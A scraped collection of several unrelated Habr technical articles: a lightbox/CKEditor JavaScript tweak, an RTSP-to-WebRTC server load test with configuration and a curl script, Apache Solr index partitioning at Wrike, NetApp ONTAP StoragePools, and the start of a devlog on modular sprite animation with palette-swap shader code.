Что касается работы lightbox, то тут два варианта, либо в вышеозначенном коде изменить работу на добавление именно rel="lightox", либо оригинальный код подправить немного, что я и выбрал, не хочется быть зависимым именно от lightbox, поэтому открываем lightbox.js(2.04) и меняем строку 191 на
> `var target = event.findElement('a[class^=gallery]') || event.findElement('a[class^=gallery]');`
(вижу что тоже самое :) так в оригинале было, не знаю с чем связано), строку 216 меняем на
> `if ((imageLink.rel != 'gallerys')){`
Вот и всё, [спёрто отсюда :)](http://demphest.ru/ru/javascript/ckeditor-fancybox-lightbox/)
Скачать измененные js:
[ckeditor/plugins/image/dialogs/image.js](http://demphest.ru/demo/AjexFileManager/ckeditor/plugins/image/dialogs/image.js)
[lightbox.js](http://demphest.ru/demo/AjexFileManager/lib/prototype/lightbox/lightbox.js)
Посмотреть можно здесь: [fancybox](http://demphest.ru/demo/AjexFileManager/ckeditor-fancybox.html)
[lightbox](http://demphest.ru/demo/AjexFileManager/ckeditor-lightbox.html)
Нажмите кнопку [get html to look] для вывода из редактора | https://habr.com/ru/post/73172/ | null | ru | null |
# Turning RTSP into WebRTC: how many cameras will the server withstand?
This article continues the series of articles on load tests. Today we will analyze the testing methodology and answer the question: "How many IP cameras can be connected to a WebRTC server?"
Why connect IP cameras to the server? For example, in order to make a simple video surveillance system that broadcasts what's happening in front of the cameras to the website. Of all the variety of IP cameras, we are interested in those instances that transmit video streams over the RTSP protocol. The fact is that browsers don't know how to play RTSP streams directly, so [to add video from an IP camera to your website](https://flashphoner.com/how-to-cook-rtsp-on-your-website-in-2020-or-why-the-boars-will-not-have-a-chance-to-run-away/), you need to turn an RTSP video stream from an IP camera into WebRTC. And if everything is more or less clear from the [article](https://flashphoner.com/7-ways-to-stream-rtsp-on-the-page/), with the software implementation, then at the stage of implementing the solution, the question will definitely appear:
"What kind of server do we need and how many cameras can we connect to it?"
Let's get started.
### Testing Plan
1. Publish VOD stream on the WCS#1 server;
2. Using a script that uses REST requests, publish RTSP streams on the WCS#2 server;
3. Choose a random RTSP stream on WCS#2 and visually evaluate the stream;
4. Estimate the load on the WCS#2 server by the metrics values collected by the Prometheus monitoring system for the WCS#2 server.
Testing is considered successful if we can connect 1,000 IP cameras and no degradation of streams is seen in the monitoring results or visually.
### Test bench
For testing, we need
* two WCS servers;
* script for the test;
We assume that you already have WCS servers installed and configured. If not, install them according to [this instruction](https://docs.flashphoner.com/display/WCS52EN/Quick+deployment+and+testing+of+the+server), make [tweaks to boost performance](https://flashphoner.com/what-kind-of-server-do-you-need-to-run-a-thousand-webrtc-streams/) and connect to [monitoring](https://flashphoner.com/10-important-webrtc-streaming-metrics-and-configuring-prometheus-grafana-monitoring/).
We used two servers for testing:
**WCS#1 (testing)** with characteristics:
* 24 cores, 48 streams;
* 128 Gb RAM;
* WCS 5.2.958;
* OpenJDK version 14.0.1
and
**WCS#2 (tested)** with characteristics:
* 12 cores, 24 streams;
* 96 Gb RAM;
* WCS 5.2.958;
* OpenJDK version 14.0.1
#### Server Settings
File [flashphoner.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+flashphoner.properties) (w/o default settings):
```
#webrtc ports range
media_port_from = 20001
media_port_to = 40000
#websocket ports
ws.port=8080
wss.port=8443
rtsp_activity_timer_timeout=86400000
wcs_agent_port_from=44001
wcs_agent_port_to=55000
global_bandwidth_check_enabled=true
zgc_log_parser_enable=true
zgc_log_time_format=yyyy-MM-dd'T'HH:mm:ss.SSSZ
rtsp_port_from=55001
rtsp_port_to=65000
```
Here we increased the range of ports for WebRTC, RTSP and WCS agent. We increased the timeout for RTSP streams without subscribers, and also specified settings for collecting additional metrics for network congestion and pauses in ZGC operation.
For the testing server, we added additional settings for VOD — cyclic stream capture and setting the duration of the VOD stream publication after disconnecting subscribers:
```
vod_live_loop=true
vod_stream_timeout=14400000
```
File [wcs-core.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+wcs-core.properties) (w/o default settings):
```
-XX:ErrorFile=/usr/local/FlashphonerWebCallServer/logs/error%p.log
# ZGC
-XX:+UnlockExperimentalVMOptions -XX:+UseZGC -Xms24g -Xmx24g -XX:+UseLargePages -XX:ZPath=/hugepages
-Xlog:gc*:/usr/local/FlashphonerWebCallServer/logs/gc-core-:time
```
Here we changed the settings for naming log files, enabled the use of ZGC, adjusted the Heap size, and enabled the use of memory pages.
Full versions of the configuration files can be downloaded from the Useful Files section at the bottom of the article. There you will also find a panel for Grafana and a script file to start testing.
#### Test Script
```
#! /bin/bash
camera=1000
curl -X POST -H 'Content-type: application/json' --data "{\"uri\":\"vod-live://bunny720p-test.mp4\", \"localStreamName\":\"test\"}" "http://localhost:8081/rest-api/vod/startup"
sleep 5s
for i in `seq 1 $camera`; do
curl --data "{\"uri\":\"rtsp://172.16.40.2:554/test?"$i"\",\"toStream\":\"RTSP-test-stream"$i"\"}" -X POST -H 'Content-type: application/json' -s http://172.16.40.3:8081/rest-api/rtsp/startup
sleep 0.1s
done
```
where:
* **camera** — number of emulated RTSP streams.
We will use 720p video in our tests. More video parameters are shown in the screenshot below:
### Testing
On the testing WCS#1 server, run the script for testing:
```
./RTSP-load-test.sh
```
Test result for 1,000 captured RTSP streams:
The test was successful. No stream degradation was recorded by metrics. The CPU load according to the Load average 1 metric did not exceed 100 units.
Open the standard example Player on the tested WCS#2 server and start playing a random RTSP stream from the captured ones:
The control stream is played with acceptable quality — no freezing, artifacts and sound quality degradation.
We ran some more tests
for 1,500 RTSP streams:
and for 2,000 RTSP streams:
The results of these tests show an increase in the CPU load and an increase in pauses in ZGC. Metrics show no stream degradation, but the control stream is played with noticeable artifacts.
As you can see, the tests were not very long. Therefore, you cannot make a decision on choosing a server for a video surveillance system based solely on these tests. Indeed, in the long term, the behavior of the system can change.
Let's run another test with 1,000 captured RTSP streams:
This test lasted nearly two hours. During this time, you can see that there are no critical changes in resource utilization. The control stream was also played correctly all the time:
We remind you that the test results directly depend on the environment, therefore, they may be better or worse when tested on your hardware.
Have a good streaming!
### Useful Files
Panel for Grafana:
[RTSP-720p-testing.json](https://flashphoner.com/wp-content/uploads/2021/07/RTSP-720p-testing.json)
WCS Settings:
[flashphoner.properties](https://flashphoner.com/wp-content/uploads/2021/07/flashphoner.properties)
[wcs-core.properties](https://flashphoner.com/wp-content/uploads/2021/07/wcs-core.properties)
Test Script:
[RTSP-load-test.sh](https://flashphoner.com/wp-content/uploads/2021/07/RTSP-load-test.sh)
### Links
[Demo](https://demo.flashphoner.com/admin/login.html)
[WCS on Amazon EC2](https://flashphoner.com/amazon-ec2-support-in-web-call-server)
[WCS on DigitalOcean](https://flashphoner.com/web-call-server-on-digital-ocean-marketplace)
[WCS in Docker](https://flashphoner.com/support-web-call-server-in-docker)
[Settings file flashphoner.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+flashphoner.properties)
[Settings file wcs-core.properties](https://docs.flashphoner.com/display/WCS52EN/Settings+file+wcs-core.properties)
[Server tuning recommendations](https://docs.flashphoner.com/display/WCS52EN/Server+tuning+recommendations)
[Memory management in Java](https://docs.flashphoner.com/display/WCS52EN/Memory+management+in+Java)
[Before moving to production](https://docs.flashphoner.com/display/WCS52EN/Before+moving+to+production)
[Quick deployment and testing of the server](https://docs.flashphoner.com/display/WCS52EN/Quick+deployment+and+testing+of+the+server)
[Load and resource usage information](https://docs.flashphoner.com/display/WCS52EN/Load+and+resource+usage+information)
[Monitoring with Prometheus](https://docs.flashphoner.com/display/WCS52EN/Connecting+from+Prometheus)
[REST API](https://docs.flashphoner.com/display/WCS52EN/REST+API)
[Stream capturing from an IP camera via RTSP](https://docs.flashphoner.com/display/WCS52EN/From+an+IP+camera+via+RTSP) | https://habr.com/ru/post/570370/ | null | en | null |
# Повышаем производительность поиска с помощью партиционирования индекса в Apache Solr
Полнотекстовый поиск используется в [Wrike](https://www.wrike.com/ru?utm_source=habrahabr&utm_medium=blogposts&utm_campaign=Solr) почти повсеместно. Поиск в шапке страницы дает возможность быстрого доступа к последним задачам с сортировкой по дате обновления, с совпадением по названию. Такой вариант поиска представлен в разделах «Моя работа» и «Панель задач».
Поиск в списке задач работает по всем полям: название, описание, имена файлов вложений, авторы, комментарии, дата изменения. Максимальный приоритет у задач, активность по которым связана с текущим пользователем, с фразовым совпадением в названии, описании или в комментариях.
Упрощенный вариант поиска по названиям используется:
* при расстановке зависимостей для диаграммы Ганта (предшествующая и последующая задачи),
* при добавлении ссылок на задачи по названиям (меншенинг),
* при добавлении подзадач.
В этих разделах используется instant search с неявным wildcard: пользователь последовательно вводит u, up, upd, update, а поисковые запросы принимают вид: u\*, up\*, upd\*, update\*.
Кроме того, wildcards можно использовать во всех вариантах поиска.
Таким образом, часто приходят “тяжелые” поисковые запросы, вызывающие многократное чтение индекса, повышенную нагрузку по CPU/IO на серверах и, как следствие, общие задержки в обработке запросов в “часы-пик”.
В данной статье мы поделимся своим способом решения проблемы производительности.
Речь пойдет об ускорении поиска при работе с поисковым сервером [Apache Solr](http://lucene.apache.org/solr/) через партиционирование коллекций. Описанный способ был нами опробован на версиях 4.9.0 и 4.10.2.
#### Проблема
Некоторые поисковые запросы на сайте занимали десятки секунд, иногда такие задержки приводят к Gateway Timeout у конечных пользователей.
#### Входные условия
Полнотекстовый поиск реализован на Apache Solr. Работает постоянная индексация. Весь индекс находится в одной коллекции. Размер RAM на серверах позволяет поместить весь индекс в файловый кэш.
Вот так выглядит проблема:
1. В ряде случаев единичный поисковый запрос занимает “слишком” много времени
2. Проблемные поисковые запросы включают комбинацию из множества полей
3. Индекс находится на SSD
4. [Рекомендации от Apache](https://wiki.apache.org/solr/SolrPerformanceProblems) не помогают
5. Схема индекса (schema.xml) фиксирована и есть явный критерий для партиционирования
Дополнительно выясняем:
1. Долгие запросы — это запросы с wildcards (типа \*q\*, \*w\*, \*e\*)
2. Время полного чтения файлов индекса в оперативку: Tread = Tsearch / N, где Tsearch — время поиска, N — кол-во полей в поисковом запросе
#### Пример
Пусть есть следующий запрос к Apache Solr:
`q = fieldA=q* OR fieldB=q* OR fieldC=q* OR fieldD=q*`
Предположим, он занимает N секунд для первого запроса, остальные отработают быстрее, так как часть данных уже в файловом кэше и во внутренних кэшах Apache Solr/Lucene. Выясняем, что простое чтение полного индекса в оперативку занимает N/4 секунд. Очевидно, проблема в размере индекса, с которым приходится работать Solr’у.
#### Что нам предлагает Apache Solr и [SolrCloud](https://cwiki.apache.org/confluence/display/solr/SolrCloud)?
1. [Советы по оптимизации от apache](https://wiki.apache.org/solr/SolrPerformanceProblems)
* Настройка кэшей нам не подходит, так как у нас постоянный индексинг, при этом рано или поздно кэши сбрасываются, и получаем долгий запрос.
* filter queries — не работает, Solr все равно читает полный индекс, а фильтрация происходит после.
2. [Distributed Search, SolrCloud и шардинг.](https://cwiki.apache.org/confluence/display/solr/Shards+and+Indexing+Data+in+SolrCloud) Особенности:
* Сложность поддержки, полной реиндексации при обновлении схемы.
* Непрозрачность подготовки шардов.
3. [IndexPartitioning](http://wiki.apache.org/solr/IndexPartitioning) — дальше идеи дело не пошло.
Distributed Search мы не рассматриваем, как устаревшую технологию, недостатки которой представлены в описании SolrCloud.
#### Минусы шардинга на SolrCloud
Документация по SolrCloud предлагает два варианта шардинга — автоматический и “ручной”, с использованием команды [SPLITSHARD](https://cwiki.apache.org/confluence/display/solr/Collections+API#CollectionsAPI-SplitaShard).
При автоматическом режиме заранее задается количество шардов. SolrCloud с помощью [ZooKeeper](https://zookeeper.apache.org/) занимается балансировкой загрузки шардов при индексации, шарды для поиска выбираются автоматически. В “ручном” режиме мы сами выбираем время и шард для разделения его на два.
Автоматический режим нам не подходит. У нас есть явный ключ для партиционирования, то есть для роутинга документов по шардам при индексации. Сам роутинг может быть изменен после индексации, когда мы сможем оценить размер шарда. Автоматическая ребалансировка по шардам предполагает, что одна наша партиция может быть разбросана по нескольким шардам, в наихудшем случае, по всем. Нас это не устраивает, если у нас есть настолько большая партиция, что части её находятся на всех шардах, мы бы хотели выделить её в отдельный шард без других партиций.
Ручной режим можно было бы использовать через фоновый сервис, вызывая команду SPLITSHARD автоматически, по достижении лимитов на размер шарда, но процесс это закрытый и не мгновенный.
Вот что можем получить, при падении SPLITSHARD на Solr 4.9.0:
1. Сохраняются исходные коллекции.
2. Создаются новые (с именами \*\_shard1\_0, \*\_shard1\_1).
3. Новые коллекции создаются только на одной ноде, информация не попадает в ZooKeeper.
4. Реальной балансировки поисковых запросов не происходит.
5. Созданные коллекции надо чистить вручную с диска на том узле, где они были созданы.
Причиной данного фейла был таймаут при взаимодействии Solr и ZooKeeper. Конечно, таких падений хочется либо избежать в продакшне, либо иметь больше контроля для упрощения восстановления.
#### Решение
Каким же должно быть наше решение?
1. Значительное уменьшение объема индекса, с которым будет работать конкретный поисковый запрос.
2. Минимум усилий по поддержке.
3. Минимум усилий по изменению структуры.
4. Партиционирование без даунтайма.
Партиции будем называть коллекциями (в терминологии Apache Solr), так как решение работает через [Solr Collections API](https://cwiki.apache.org/confluence/display/solr/Collections+API) и в качестве партиций создает коллекции и реплики для них.
Мы заранее оговорили, что можем разбить данные однозначно по ключу (batchId), а также:
* В одну коллекцию могут попадать данные с одним или несколькими batchId.
* В разных коллекциях не могут находиться данные с одинаковым batchId.
Схема поисковой системы до внедрения партиционирования выглядела так:
*Web Application* — выполняет поисковые запросы.
*Indexer* — сервис выполняющий дельта-индексацию и полную реиндексацию (только в shadow collection), работает в отдельной инфраструктуре для фоновых процессов.
*Solr instance#1, instance#2* — два сервера с Apache Solr для обеспечения отказоустойчивости.
*collection* — два экземпляра индекса, репликация происходит через SolrCloud/ZooKeeper.
*shadow collection* — два экземпляра индекса для полной реиндексации при изменении схемы индекса, после которой collection и shadow collection меняются местами.
Схема работает следующим образом. Поисковые запросы направляются попеременно на все узлы Apache Solr. Для маршрутизации запросов используется класс LBHttpSolrServer из клиентской библиотеки solrj, скорость запросов с ним выше, чем с CloudSolrServer, но падения узлов приходится отслеживать вручную и перезапрашивать актуальную информацию с ZooKeeper. Запросы на индексацию можно так же выполнять через LBHttpSolrServer/CloudSolrServer/ZooKeeper, либо напрямую на один из узлов Apache Solr, оставляя второй узел менее нагруженным для ускорения поисковых запросов.
Нам требуется разбить рабочие коллекции, исходя из объема данных в партициях, полученных по ключу batchId. Для реализации нашего решения, потребуется еще один сервис, который будет управлять процессом разбиения коллекций. Назовем сервис — менеджер индекса (IndexManager). Функции менеджера:
* мониторинг размера текущих коллекций
* инициация создания новых при превышении лимитов (партиционирование)
* инициация объединения коллекций, если размер их упал ниже заданного лимита (объединение)
* мониторинг и управление процессом реиндексации в новых коллекциях (через команды индексатору)
* переключение рабочих коллекций после завершения индексации в новые и удаление старых
Оценить объем, который будет занимать индекс для одной или нескольких партиций, можно либо косвенно, либо после создания индекса.
Косвенная оценка выглядит так:
*Rall* — общее количество записей для всех партиций
*Vall* — общий объем индекса (collection)
*Rn* — количество записей для партиции *N*
*Vn = Rn⋅Vall / Rall* — предполагаемый объем коллекции для партиции *N*
Коллекция *M* формируется из партиций *1..k* до тех пор пока *Ssumm < Slimit*, *Ssumm* — суммарный размер коллекции, *Slimit* — заданный лимит на размер коллекции.
Схема работы нового сервиса следующая:
В результате работы IndexManager’a создаются/удаляются коллекции, запускается реиндексация данных в отдельных коллекциях, происходит переключение актуальных коллекций. Связь коллекций и исходных данных (batchId) сохраняется в базе данных.
Схема поисковой системы с партиционированием индексов выглядит так:
Индекс в этой схеме представляет собой N коллекций и N резервных коллекций на случай изменения в схеме индекса с последующей реиндексацией. Эти N коллекций хранятся на каждом узле Apache Solr, репликация происходит нативными средставами SolrCloud + ZooKeeper.
Ускорение поиска происходит за счет поиска по индексу, ограниченному одной коллекцией. Для этого в поисковый запрос добавляется HTTP-параметр collection (collection=batchId).
После запуска, создания и реиндексации коллекций, получили максимальный размер коллекции 0,1 от исходного и следующее распределение времени выполнения запросов:
| Время выполнения (мс) | До (% от общего кол-ва) | После (% от общего кол-ва) |
| --- | --- | --- |
| >= 10000 | 2,2% | 0 |
| 1000 — 10000 | 3,8% | 0 |
| 500 — 1000 | 4,3 % | 0 |
| 100 — 500 | 17,1 % | 8,1 % |
| 0 — 100 | 72,4 % | 91,9 % |
#### Результаты
1. Уменьшение объема индекса, участвующего в поиске реализовано через контроль размера коллекций менеджером индекса.
2. Минимум усилий по поддержке:
* сервера: одинаковая конфигурация до и после партиционирования. Сервис IndexManager работает в общей инфраструктуре сервисов и отдельного администрирования не требует
* однократное обновление конфигурации в ZooKeeper при изменении схемы индекса
3. Минимум усилий по изменению структуры:
* изменение схемы индекса делается один раз для базовых коллекций
* изменение размеров коллекций, добавление новых и удаление лишних после объединения — автоматическое
4. Отсутствие даунтайма — любая операция (разбиение, объединение коллекций) до своего завершения не влияет на поисковые индексы и индексацию, после завершения происходит атомарное переключение.
5. Значительное ускорение обработки запросов. | https://habr.com/ru/post/274059/ | null | ru | null |
# Data ONTAP 8.3 ADP: FlashPool StoragePools
ОС Data ONTAP 8.3 cDOT это один из наибольших релизов NetApp. Одной из ключевых особенностей релиза является технология Advanced Drive Partitioning (ADP), в предыдущей статье я рассматривал применение этой технологии для [Root-Data Partitioning](http://habrahabr.ru/post/269635/), в этой же предлагаю рассмотреть внутренее устройство StoragePools. Более подробно о том, [что нового в cDOT 8.3 здесь](http://alikulov.me/blog/all/chto-novogo-v-data-ontap-8-3/).
StoragePools похожа на Root-Data Partitioning, которая также использует партиционирование предоставляя новый способ распределять SSD кеш для гибридных агрегатов.
#### Гибридный агрегат
Технология StoragePool была разработана специально для гибридных агрегатов, чтобы более рационально распределять SSD кеш между ними. К примеру у вас в систему установлено всего 4 SSD, а кеш хочется сделать для 2, 3 или даже 4 агрегатов, здесь вам прийдёт на помощь ADP.
Итак, для начала нужно создать StoragePool и добавить туда набор SSD дисков.
Все диски в StoragePool'е будут разбиты на ровные 4ре части. Это нигде не настраивается, система всегда разобъет их на ровные 4ре части. Можно иметь несколько StoragePool'ов. Создавая StoragePool, по-умолчанию, партиции поровну будут поделены между двумя нодами HA системы, но это можно будет изменить.
Набор первых (P1), вторых (P2), третьих (P3) и четвертых (P4) партиций дисков StoragePool'а называется Allocation Unit соответственно (AU1, AU2, AU3, AU4).
* Теперь мы можем собирать отдельные Raid Group'ы (RG) из Allocation Unit'ов (AU).
* Allocation Unit'ы создаются только из SSD.
* Рейд группа уже содержащая AU может состоять только из одного AU.
* Несколько рейд групп состоящих из AU могут сосуществовать в одном агрегате или жить в нескольких разных агрегатах, агрегаты могут жить на первой и/или второй ноде.
* AU исспользуется целиком для создания рейд группы.
* Можно задействовать любое доступное количество AU или не задействовать.
* Пока RAID группа не больше 14 Дисков, она на ходу может быть конвертирована RAID4 в RAID-DP и обратно.
* В качестве исключения из правил в агрегат состоящий из HDD дисков, могут быть добавлены SSD в качестве кеша (гибридный агрегат, его ещё называют FlashPool). Как правило NetApp не разрешает объединять в одном агрегате разногодные диски\*.
* В качестве исключения из правила, для SSD рейд групп разрешается иметь отличный тип защищённости (RAID4 или RAID-DP) от того, который настроен для HDD. Как правило все рейд группы должны иметь одинаковый тип защищённости. В нашем же случае рекомендация действует таким образом: все рейд группы состоящие из HDD должны иметь одинаковый тип защищённости, а рейд группы состоящие из SSD/AU могут иметь отличный тип защищённости от HDD, но должны иметь одинаковый тип защищённости в разках SSD/AU рейд групп.
#### Рекомендации по RAID и Spare дискам
##### Если у вас всего 4-ре диска
то можно собрать RAID4 (и потерять 1 Parity диск) или собрать RAID-DP (и потерять 2 Parity диска)
Так как дисков совсем мало, в случае RAID-DP разрешается не иметь Spare диск
Для RAID-4 необходимо иметь один Spare диск
Hot-Spare диск всегда крайне рекомендован во всех конфигурациях.
При выборе между RAID4 (со Spare диском) и RAID-DP (без Spare диска), NetApp отдаёт предпочтение RAID4.
##### Предпочтение RAID4 на малом количестве SSD обусловлено несколькими причинами:
1. SSD диски на самом деле более надёжны чем обычные диски по-этому на малых количествах SSD RAID4 более надёжен чем HDD в том же RAID
2. SSD диски на много быстрее восстанавливаются из-за чего выход второго диска из строя в процессе реконструкции на много менее вероятен по срвнению с HDD
3. Так как SSD диски имеют ограниченное число циклов перезаписи, Spare диск будет вообще не использоваться (и не уилизировать циклы перезаписи)
4. Если число SSD превысит 7 дисков, рекомендуется исспользовать (конвертировать группу в) RAID-DP
**В продакшн системах с четырьмя SSD, как правило, исспользуются именно RAID4 со Spare диском (теряем два диска из четырех)**. Также можно на четырех дисках собрать RAID-DP со Spare диском и потерять 3 диска из 4х.
Важно отметить, что если в агрегате откажет какая-то одна (вся) RAID4 или RAID-DP группа ( будь то SSD, AU или HDD), весь агрегат перейдёт в состояние Degraded и Offline. В связи с чем NetApp всегда рекомендует исспольовать Spare диски и соответствующий вашим ожиданиям уроверь защищённости для ред групп.
**Пример конвертации RAID-DP в RAID4 для SSD кеша (AU)**
```
storage aggregate modify -aggregate aggr_name -hybrid-enabled true
storage pool show-available-capacity
storage aggregate add aggr_name -storage-pool sp_name -allocation-units number_of_units
storage aggregate modify -aggregate aggr_name -raidtype raid4 -disktype SSD
storage aggregate show-status test
Aggregate test (online, mixed_raid_type, hybrid) (block checksums)
Plex /test/plex0 (online, normal, active, pool0)
RAID Group /test/plex0/rg0 (normal, block checksums, raid-dp)
Usable Physical
Position Disk Pool Type RPM Size Size Status
-------- --------------------------- ---- ----- ------ -------- -------- ----------
dparity 1.2.3 0 BSAS 7200 827.7GB 828.0GB (normal)
parity 1.2.4 0 BSAS 7200 827.7GB 828.0GB (normal)
data 1.2.5 0 BSAS 7200 827.7GB 828.0GB (normal)
data 1.2.6 0 BSAS 7200 827.7GB 828.0GB (normal)
data 1.2.8 0 BSAS 7200 827.7GB 828.0GB (normal)
RAID Group /test/plex0/rg1 (normal, block checksums, raid4)
Usable Physical
Position Disk Pool Type RPM Size Size Status
-------- --------------------------- ---- ----- ------ -------- -------- ----------
parity 1.3.3 0 SSD - 82.59GB 82.81GB (normal)
data 1.4.0 0 SSD - 82.59GB 82.81GB (normal)
data 1.4.1 0 SSD - 82.59GB 82.81GB (normal)
data 1.4.2 0 SSD - 82.59GB 82.81GB (normal)
```
#### Advanced Workload Analyzer (AWA)
Перед тем как покупать SSD диски для FlashPool вы можете оценить какое количество дисков и какой ёмкости сможет увеличить пропускнуюспособность и скорость отклика, базируясь на количестве кеш-хит попаданий которые могли бы быть в случае наличия кеша.
**Пример вывода AWA**
```
### FP AWA Stats ###
Host lada66a Memory 93788 MB
ONTAP Version NetApp Release Rfullsteam_awarc_2662016_1501071654: Wed
Jan 7 17:43:42 PST 2015
Basic Information
Aggregate lada66a_aggr1
Current-time Fri Jan 9 16:14:29 PST 2015
Start-time Fri Jan 9 12:30:16 PST 2015
Total runtime (sec) 13452
Interval length (sec) 600
Total intervals 24
In-core Intervals 1024
Summary of the past 20 intervals
max
------------
Read Throughput (MB/s): 134.059
Write Throughput (MB/s): 1333.279
Cacheable Read (%): 27
Cacheable Write (%): 22
Max Projected Cache Size (GiB): 216.755
Summary Cache Hit Rate vs. Cache Size
Referenced Cache Size (GiB): 216.755
Referenced Interval: ID 22 starting at Fri Jan 9 16:04:38 PST 2015
Size 20% 40% 60% 80% 100%
Read Hit (%) 1 3 6 11 21
Write Hit (%) 5 11 13 14 23
AWA Summary for top 8 volumes
Vol interval len (sec) 19200
In-core volume intervals 8
Volume #1 lada66a_vol8
Summary of the past 32 intervals
max
------------
Read Throughput (MB/s): 1.751
Write Throughput (MB/s): 18.802
Cacheable Read (%): 11
Cacheable Write (%): 16
Max Projected Cache Size (GiB): 29.963
Projected Read Hit (%): 31
Projected Write Hit (%): 16
Volume #2 lada66a_vol7
Summary of the past 32 intervals
max
------------
Read Throughput (MB/s): 1.640
Write Throughput (MB/s): 17.691
Cacheable Read (%): 14
Cacheable Write (%): 13
Max Projected Cache Size (GiB): 28.687
Projected Read Hit (%): 29
Projected Write Hit (%): 13
```
#### Недостатки
При выходе из строя SSD диска все рейд группы (AU) которые исспользуют его партиции будут затронуты, как результат все агрегаты которые используют эти AU. В связи с чем рекомендуется всегда иметь Spare диск, в прочем эта рекомендация была всегда.
#### Выводы
StoragePools это ещё одна технология под капотом cDOT которая создана так, чтобы максимально просто ею пользоваться. Точно также как Root-Data Partitioning она просто есть и просто работает. В целом технология отлично справляется со своей задачей — более гибко распределять SSD кеш для гибридных агрегатов. Она косвенно позволяет экономить на SSD дисках, так раньше необходимо было покупать минимум 4x SSD для каждого гибридного агрегата, теперь можно для 4х агрегатов исспользовать один набор из 4х SSD. Понимая тонкости работы StoragePool можно более рационально распредилить кеш выделяя его порциями агрегатам: к примеру дать для начала один AU для аграгата, а потом добавлять при необходимости.
[FAQ по работе ADP доступен на Fieldportal](https://fieldportal.netapp.com/Core/DownloadDoc.aspx?documentID=147099&contentID=293748).
**Сообщения по ошибкам в тексте прошу направлять в ЛС**.
**Замечания, дополнения и вопросы по статье напротив, прошу в комментарии**. | https://habr.com/ru/post/270169/ | null | ru | null |
# Модульные спрайтовые персонажи и их анимация
Эта запись девлога целиком посвящена моей системе анимации персонажей, она наполнена полезными советами и фрагментами кода.
За последние два месяца я создал целых 9 новых действий игрока (такие забавные вещи как блокировка щитом, уворачивание в прыжке и оружие), 17 новых носимых предметов, 3 набора брони (пластинчатый, шёлковый и кожаный) и 6 видов причёсок. Также я завершил создавать всю автоматизацию и инструменты, поэтому всё уже используется в игре. В статье я расскажу, как этого добился!
*Надеюсь, эта информация окажется полезной и докажет, что необязательно быть гением, чтобы самостоятельно создать подобные инструменты/автоматизацию.*
Краткое описание
----------------
Изначально я хотел проверить, можно ли совместить наложенные друг на друга спрайты с синхронизованными аниматорами для создания модульного персонажа с заменяемыми причёсками, снаряжением и носимыми предметами. Можно ли объединить нарисованную вручную пиксельную анимацию с по-настоящему настраиваемым персонажем.
Разумеется, такие функции активно используются в 3D- и 2D-играх с пререндеренными спрайтами или в 2D-играх со скелетной анимацией, но насколько я знаю, существует не так много игр, совмещающих созданную вручную анимацию и модульных персонажей (обычно потому, что процесс оказывается слишком монотонным).
*Я раскопал этот древний GIF моего первого месяца работы с Unity. На самом деле этот модульный спрайт оказался одним из первых моих экспериментов в разработке игр!*
Я создал прототип при помощи системы анимаций Unity, а затем для проверки концепции добавил одну рубашку, одну пару штанов, одну причёску и три предмета. Для этого потребовалось 26 отдельных анимаций.
В то время я создавал всю свою анимацию в Photoshop и не заморачивался автоматизацией процесса, поэтому он был очень скучным. Потом я подумал: «Так, основная идея сработала, позже я добавлю новые анимации и снаряжение». Оказалось, что «потом» — это несколько лет спустя.
В марте этого года я нарисовал дизайн большого количества брони (см. мой предыдущий пост), и заметил, как этот процесс можно сделать более удобным. Я продолжал откладывать реализацию, потому что даже при наличии автоматизации нервничал, что ничего не получится.
Я ожидал, что придётся отказаться от кастомизации персонажа и создать единственного главного героя, как в большинстве игр с ручной анимацией. Но у меня был план действий, и настало время проверить, смогу ли я победить этого монстра!
*Спойлер: всё получилось замечательно. Ниже я раскрою свои \*\*\*секреты\*\*\**
Модульная система спрайтов
--------------------------
#### I. Познай свои границы
Предварительно я провёл много тестов арта и контроля времени, чтобы выяснить, сколько может занять такая работа, и будет ли достижим для меня подобный уровень качества.
Я записал все свои идеи по анимации, собрал их в электронную таблицу и упорядочил по разным критериям, как то полезность, красивость и многократность использования. К моему удивлению, самой первой в этом списке оказалась анимация броска предмета (зелий, бомб, ножей, топоров, шара).
Я придумал численную оценку для каждой анимации и отказался от всего с плохими показателями. Изначально я планировал создать 6 наборов брони, но быстро осознал, что это перебор, и выбросил три типа.
Аспект отслеживания времени оказался очень важным, и я крайне рекомендую использовать его, чтобы отвечать на вопросы типа: «Сколько врагов могу я позволить себе создать в игре?». Всего после нескольких тестов мне удалось экстраполировать достаточно точную оценку. При дальнейшей работе над анимациями я продолжил следить за временем и пересматривать мои ожидания.
*Поделюсь копией моего журнала работы за последние два месяца. Учтите, что это время идёт в добавок к моей обычной работе, где я провожу по 30 часов в неделю:*
<https://docs.google.com/spreadsheets/d/1Nbr7lujZTB4pWMsuedVcgBYS6n5V-rHrk1PxeGxr6Ck/edit?usp=sharing>
#### II. Смена палитры ради светлого будущего
С умом используя цвета в дизайне спрайтов, можно отрисовать один спрайт и создать множество различных вариаций при помощи смены палитры. Можно менять не только цвета, но и создавать различные включаемые и отключаемые элементы (например, заменой цветов на прозрачность).
Каждый набор брони имеет 3 вариации, а смешивая верхние и нижние части, можно получить множество комбинаций. Я планирую реализовать систему, в которой можно собрать один набор брони для внешнего вида персонажа, а другой — для его характеристик (как в Terraria).
*В процессе работы меня приятно удивляли обнаруживаемые любопытные комбинации. Если соединить пластинчатый верх с шёлковым низом, то можно получить нечто в стиле боевого мага.*
Лучше всего реализовывать смену палитр, используя в спрайте цвета, кодирующие значение, чтобы в дальнейшем можно было брать их для поиска настоящего цвета из палитры. Я знесь немного упрощаю, так что вот видео, с которого можно начать:
Я не буду объяснять всё в подробностях, а вместо этого расскажу о способах реализации этой техники в Unity, и об их плюсах и минусах.
#### 1. Текстура поиска для каждой палитры
Это наилучшая стратегия для создания вариаций врагов, фонов и всего того, где множество спрайтов иеет одинаковую палитру/материал. Различные материалы нельзя сгруппировать в батчи, даже если они используют одинаковый спрайт/атлас. Работа с текстурами довольно мучительна, но палитры можно изменять в реальном времени, заменяя материалы, с помощью SpriteRenderer.sharedMaterial.SetTexture или MaterialPropertyBlock, если вам нужны разные палитры для каждого экземпляра материала. Вот пример фрагментной функции шейдера:
```
sampler2D _MainTex;
sampler2D _PaletteTex;
float4 _PaletteTex_TexelSize;
half4 frag(v2f input) : SV_TARGET {
half4 lookup = tex2D(_MainTex, input.uv);
half4 color = tex2D(_PaletteTex, half2(lookup.r * (_PaletteTex_TexelSize.x / 0.00390625f), 0.5));
